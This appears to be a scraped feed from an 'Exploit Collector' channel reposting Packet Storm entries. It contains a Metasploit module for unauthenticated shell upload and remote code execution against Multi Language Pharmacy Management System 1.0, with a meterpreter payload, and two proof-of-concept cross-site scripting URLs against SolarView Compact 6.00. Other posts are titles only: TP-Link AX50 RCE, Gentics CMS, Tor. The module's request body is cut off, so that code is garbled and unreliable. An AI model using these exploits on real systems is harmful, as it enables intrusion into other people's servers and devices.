Hacking Articles Tips Tricks Videos Tutorials

Hacking on Medium
Create a Hidden IRC Server with The Onion Router (TOR)

https://cdn-images-1.medium.com/max/2600/0*5MAM3tiZ1rzgFUS9
A guide to make secret communication with the untraceable IRC server

Continue reading on InfoSec Write-ups »

5 views18:57

5 views20:14

Exploit Collector
Multi Language Pharmacy Management System 1.0 Shell Upload

https://2.bp.blogspot.com/-trS7d3JOSJY/WWlvYoSx4fI/AAAAAAAAIOo/ua-jTrS9avcHrliD3JJHs9ifWyf14eAUwCLcBGAs/s1600/h57.png
This Metasploit module exploits the file upload vulnerability of Multi Language Pharmacy Management System to achieve remote code execution.

SHA-256 | 742456930e5e52c2ee76502248a99373d271bc23c86a2afc2380664719fcc4cb

Download

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
# Vendor: https://www.mayurik.com/source-code/P0349/best-pharmacy-billing-software-free-download
# Source: https://www.sourcecodester.com/php/15281/multi-language-pharmacy-management-system-project-source-code.html
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info={})
super(update_info(info,
'Name'           => "Multi Language Pharmacy Management System Unauthenticated Remote Code Execution",
'Description'    => %q{
This module exploits the file upload vulnerability of Multi Language Pharmacy Management System and allows remote code execution.
},
'License'        => MSF_LICENSE,
'Author'         =>
[
'Emirhan Kurt 
[
['URL', 'https://prodaft.com']
],
'DefaultOptions'  =>
{
'SSL' => false,
'WfsDelay' => 5,
},
'Platform'       => ['php'],
'Arch'           => [ ARCH_PHP],
'Targets'        =>
[
['PHP payload',
{
'Platform' => 'PHP',
'Arch' => ARCH_PHP,
'DefaultOptions' => {'PAYLOAD'  => 'php/meterpreter/bind_tcp'}
}
]
],
'Privileged'     => false,
'DisclosureDate' => "Dec 19 2018",
'DefaultTarget'  => 0
))

register_options(
[
OptString.new('TARGETURI', [true, 'The TARGET URI of the Pharmacy Management', '/'])
]
)
end

def exploit

print_status('Uploading shell...')

fname = rand_text_alphanumeric(rand(10) + 6) + '.php'

boundary = "---------------------------#{rand_text_numeric(29)}"
data_post = "--#{boundary}\r\n"
data_post <<
data_post <<
data_post <<
data_post <<
data_post <<
data_post <<
data_post <<
data_post <<

res = send_request_cgi({
'method' => 'POST',
'uri'    => normalize_uri(target_uri.path,'php_action/createProduct.php'),
'ctype'  => "multipart/form-data; boundary=#{boundary}",
'data' => data_post,
})

if res && res.code == 302 && res.body.include?('Image uploaded successfully')
print_good("Shell uploaded as #{fname}")
else
print_error("Server responded with code #{res.code}")
print_error("Failed to upload shell")
return false
end

print_status('Executing payload...')
send_request_cgi({
'uri'    => normalize_uri(target_uri.path,'assets/myimages/'+fname),
'method' => 'GET'
}, 5)

if res
print_good("Payload successfully triggered !")
else
print_error("Server responded with code #{res.code}")
print_error("Failed to upload shell")
return false
end

handler

end
end

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Multi Language Pharmacy Management System 1.0 Shell Upload

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

4 viewsedited 20:14

4 views20:14

4 views20:14

4 views20:14

Exploit Collector
TP-Link AX50 Remote Code Execution

___________________________
@hacking_Attack
@Hacking_Video

TP-Link AX50 Remote Code Execution

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

4 viewsedited 20:14

4 views20:14

Exploit Collector
SolarView Compact 6.00 Cross Site Scripting

https://3.bp.blogspot.com/-S3Qyj_CQLZk/WWlvO05KSCI/AAAAAAAAIM0/1UOPsv562Y4pHjCru7b9m-kScCR1bHauwCLcBGAs/s1600/h27.png
SolarView Compact version 6.00 suffers from multiple cross site scripting vulnerabilities.

SHA-256 | 25d560f3ffdb43d77020e39409d019b6357d829359c682ee2a18df30976b41c7

Download

# Exploit Title: SolarView Compact 6.00 - 'time_begin' Cross-Site Scripting (XSS)
# Date: 2022-05-15
# Exploit Author: Ahmed Alroky
# Author Company : AIactive
# Version: ver.6.00
# Vendor home page : https://www.contec.com/
# Authentication Required: No
# CVE : CVE-2022-29299
# Tested on: Windows

# Proof Of Concept:

http://IP_ADDRESS/Solar_History.php?time_begin=xx%22%3E%3Cscript%3Ealert(9)%3C/script%3E%3C%22&time_end=&event_level=0&event_pcs=1&search_on=on&search_off=on&word=hj%27&sort_type=0&record=10&command=%95%5C%8E%A6
# Exploit Title: SolarView Compact 6.00 - 'pow' Cross-Site Scripting (XSS)
# Date: 2022-05-15
# Exploit Author: Ahmed Alroky
# Author Company : AIactive
# Version: ver.6.00
# Vendor home page : https://www.contec.com/
# Authentication Required: No
# CVE : CVE-2022-29301
# Tested on: Windows

# Proof Of Concept:
http://IP_ADDRESS/Solar_SlideSub.php?id=4&play=1&pow=sds%22%3E%3Cscript%3Ealert(9)%3C/script%3E%3C%22&bgcolor=green

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

SolarView Compact 6.00 Cross Site Scripting

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

4 viewsedited 20:14

4 views20:14

4 views20:14

4 views20:14

5 views20:14

Exploit Collector
TOR Virtual Network Tunneling Tool 0.4.7.8

https://1.bp.blogspot.com/-5_4vnaEHtE4/WWlvOudg9oI/AAAAAAAAIMs/tPLG-GePmxgLMlPyiIuDfO-2MFfOtdhKQCLcBGAs/s1600/h26.png
Tor is a network of virtual tunnels that allows people and groups to improve their privacy and security on the Internet. It also enables software developers to create new communication tools with built-in privacy features. It provides the foundation for a range of applications that allow organizations and individuals to share information over public networks without compromising their privacy. Individuals can use it to keep remote Websites from tracking them and their family members. They can also use it to connect to resources such as news sites or instant messaging services that are blocked by their local Internet service providers (ISPs). This is the source code release.

SHA-256 | 9e9a5c67ad2acdd5f0f8be14ed591fed076b1708abf8344066990a0fa66fe195

Download
Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

TOR Virtual Network Tunneling Tool 0.4.7.8

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

6 viewsedited 20:14

4 views20:14

Exploit Collector
Gentics CMS 5.36.29 Cross Site Scripting / Deserialization

___________________________
@hacking_Attack
@Hacking_Video